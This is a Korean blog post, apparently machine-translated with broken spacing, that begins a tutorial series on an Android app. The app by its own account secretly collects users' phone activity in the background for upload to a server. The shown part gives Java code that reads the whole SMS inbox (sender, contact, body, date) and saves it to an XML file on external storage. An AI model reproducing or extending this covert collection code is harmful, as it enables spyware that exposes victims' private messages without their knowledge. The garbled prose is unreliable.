안 드 로 이 드 프로젝트 실전 - 사용자 정보 수집 (1)
안녕하세요!나의 사 이 트 를 계속 방문 하 는 것 을 환영 합 니 다.오늘부터 저 는 이 주제 에서 제 안 드 로 이 드 프로젝트 의 실전 을 기록 할 것 입 니 다. 저 는 이 과정 에서 개인 적 인 경험 과 견 해 를 공유 하고 여러분 께 도움 을 드 리 고 싶 습 니 다. 이 프로젝트 는 안 드 로 이 드 SQLite 의 사용, 반사 공정, 방송 서비스 등 심지어 디자인 모델 에 관 한 지식 을 배 우 는 데 도움 이 될 것 입 니 다.약간의 의식 을 형성 하고 이 책 을 강력 추천 합 니 다) OK, 그렇게 말 하지 않 고 시작 합 시다!
프로젝트 소개
먼저 전체 항목 을 소개 합 니 다. 이 항목 은 정보 안전 에 관 한 것 입 니 다. 주로 배경 에서 사용자 의 프로그램 사용 상황 을 몰래 수집 한 다음 에 수집 한 데 이 터 를 서버 에 업로드 하여 서버 측 에서 데 이 터 를 분석 하고 이용 하도록 합 니 다.어 려 운 점 은 배경 에서 데 이 터 를 수집 하 는 방법 입 니 다. 구체 적 인 수 요 는 다음 과 같 습 니 다.
수요
프로젝트 프레임 워 크
착공 의 첫 번 째 단 계 는 바로 전체 프로젝트 의 구 조 를 구축 하 는 것 이다. 먼저 공 사 는 크게 두 가지 로 나 뉜 다. 하 나 는 엔진 류 로 프로그램의 사용 상황 과 문자 메시지 등 을 얻 는 조작 류 를 포함 하고 다른 하 나 는 서비스 류 로 방송 수신 자 서비스 와 각 서비스 운영 을 관리 하 는 서 비 스 를 포함한다.이 두 가지 큰 종 류 는 모두 인 터 페 이 스 를 추상 화하 여 후기 유지 와 확장 에 편리 하도록 해 야 한다.필 자 는 Android Studio 개발 을 사 용 했 습 니 다. 프로젝트 보 기 는 다음 과 같 습 니 다.![image] (AP 151116 / 1 - PS. jpg 프로젝트 보기)
문자 조작 클래스 가 져 오기
공사 의 틀 을 다 잡 은 후에 우 리 는 먼저 간단 한 것 부터 문 자 를 얻 는 조작 이다.이런 작업 은 두 단계 로 나 뉘 는데 첫 번 째 단 계 는 문자 메 시 지 를 받 고 두 번 째 단 계 는 데 이 터 를 저장 하 는 것 이다.그럼 문 자 는 어떻게 받 나 요?안 드 로 이 드 기 초 를 배 운 사람 은 모두 알 고 있 습 니 다. 안 드 로 이 드 의 주소록, 문자 메 시 지 는 모두 SQLite 데이터 에 저장 되 어 있 기 때문에 문 자 를 얻 는 것 은 간단 한 조회 데이터 베이스 작업 입 니 다.오케이, 시작 합 시다.먼저 문자 수신 함 URI 를 들 고 이 URI 를 통 해 우리 가 필요 로 하 는 데이터베이스 폼 을 연결 할 수 있 습 니 다.
/** * URI */
private final String SMS_INBOX_URI = "content://sms/inbox";
다음은 데이터베이스 조회 작업 입 니 다.
Uri smsUri = Uri.parse(SMS_INBOX_URI);
ContentResolver resolver = mContext.getContentResolver();
String[] projection = {"_id", "address", "person", "body", "date", "type"};
Cursor cursor = resolver.query(smsUri, projection, null, null, "date desc");
PS: 여기 서 말씀 드 리 겠 습 니 다. 저 는 블 로그 에 중요 한 부분의 코드 만 붙 였 을 뿐 입 니 다. 여러분 은 제 [github] 에 가 셔 도 됩 니 다. (https://github.com/a-voyager/MoniterDemo github) 사이트 에서 모든 소스 데이터 베 이 스 를 조회 하 는 것 은 아무 말 도 하지 않 았 습 니 다. 바로 {" id", "address", "person", "body", "date", "type"} 이 몇 열의 내용 을 조회 하 는 것 입 니 다.검색 이 끝 난 후 커서 집합 cursor 를 되 돌려 줍 니 다.다음은 커서 집합 을 옮 겨 다 녀 야 합 니 다. 그 전에 준비 작업 이 필요 합 니 다. 인 스 턴 스 클래스 Smsenity 를 만들어 서 모든 문자 메시지 인 스 턴 스 를 저장 합 니 다.
public class SmsEntity {
private String name;
private int id;
private long person;
private String body;
private long date;
private int type;
...
}
준비 작업 이 끝나 면 List 목록 에 옮 겨 다 니 며 저장 할 수 있 습 니 다.
int i = 1;
SmsEntity sms = null;
List<SmsEntity> list = new ArrayList<>();
while (cursor.moveToNext()) {
sms = new SmsEntity();
sms.setId(i++);
sms.setBody(cursor.getString(3));
sms.setDate(cursor.getLong(4));
sms.setType(cursor.getInt(5));
sms.setName(cursor.getString(2));
sms.setPerson(cursor.getLong(1));
Log.i(TAG, sms.toString());
list.add(sms);
}
옮 겨 다 니 면 당연히 파일 을 저장 합 니 다. xml 분석 을 SD 카드 에 저장 하면 됩 니 다. 코드 참조:
/** * * * @param list */
private boolean saveToFile(List<SmsEntity> list) {
FileOutputStream fos = null;
XmlSerializer xmlSerializer = Xml.newSerializer();
File fileDir = new File(Environment.getExternalStorageDirectory().getAbsolutePath() + Constants.SMS_SAVE_FILE_DIR);
if (!fileDir.exists()) fileDir.mkdirs();
File file = new File(fileDir, Constants.SMS_SAVE_FILE);
try {
fos = new FileOutputStream(file);
xmlSerializer.setOutput(fos, "utf-8");
//
xmlSerializer.startDocument("utf-8", true);
xmlSerializer.startTag(null, "SMSs");
xmlSerializer.attribute(null, "num", String.valueOf(list.size()));
for (SmsEntity sms : list) {
xmlSerializer.startTag(null, "sms");
xmlSerializer.attribute(null, "id", String.valueOf(sms.getId()));
xmlSerializer.startTag(null, "type");
xmlSerializer.text(String.valueOf(sms.getType()));
xmlSerializer.endTag(null, "type");
xmlSerializer.startTag(null, "name");
xmlSerializer.text(sms.getName() == null ? "" : sms.getName());
xmlSerializer.endTag(null, "name");
xmlSerializer.startTag(null, "person");
xmlSerializer.text(String.valueOf(sms.getPerson()));
xmlSerializer.endTag(null, "person");
xmlSerializer.startTag(null, "date");
xmlSerializer.text(String.valueOf(sms.getDate()));
xmlSerializer.endTag(null, "date");
xmlSerializer.startTag(null, "body");
xmlSerializer.text(sms.getBody());
xmlSerializer.endTag(null, "body");
xmlSerializer.endTag(null, "sms");
}
xmlSerializer.endTag(null, "SMSs");
xmlSerializer.endDocument();
} catch (Exception e) {
Log.e(TAG, "saveToFile() failed", e);
return false;
} finally {
try {
if (fos != null)
fos.close();
} catch (IOException e) {
Log.e(TAG, "fos close failed");
}
}
return true;
}
Bingo!이렇게 문자 메 시 지 를 조회 해 파일 에 저장 하 는 기능 이 구현 됐다.
기간 동안 몇 가지 문 제 를 주의 하 세 요.
계속...
이 내용에 흥미가 있습니까?
현재 기사가 여러분의 문제를 해결하지 못하는 경우 AI 엔진은 머신러닝 분석(스마트 모델이 방금 만들어져 부정확한 경우가 있을 수 있음)을 통해 가장 유사한 기사를 추천합니다:
디자인 모델 의 공장 모델, 단일 모델자바 는 23 가지 디자인 모델 (프로 그래 밍 사상/프로 그래 밍 방식) 이 있 습 니 다. 공장 모드 하나의 공장 류 를 만들어 같은 인 터 페 이 스 를 실현 한 일부 종 류 를 인 스 턴 스 로 만 드 는 것...
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
CC BY-SA 2.5, CC BY-SA 3.0 및 CC BY-SA 4.0에 따라 라이센스가 부여됩니다.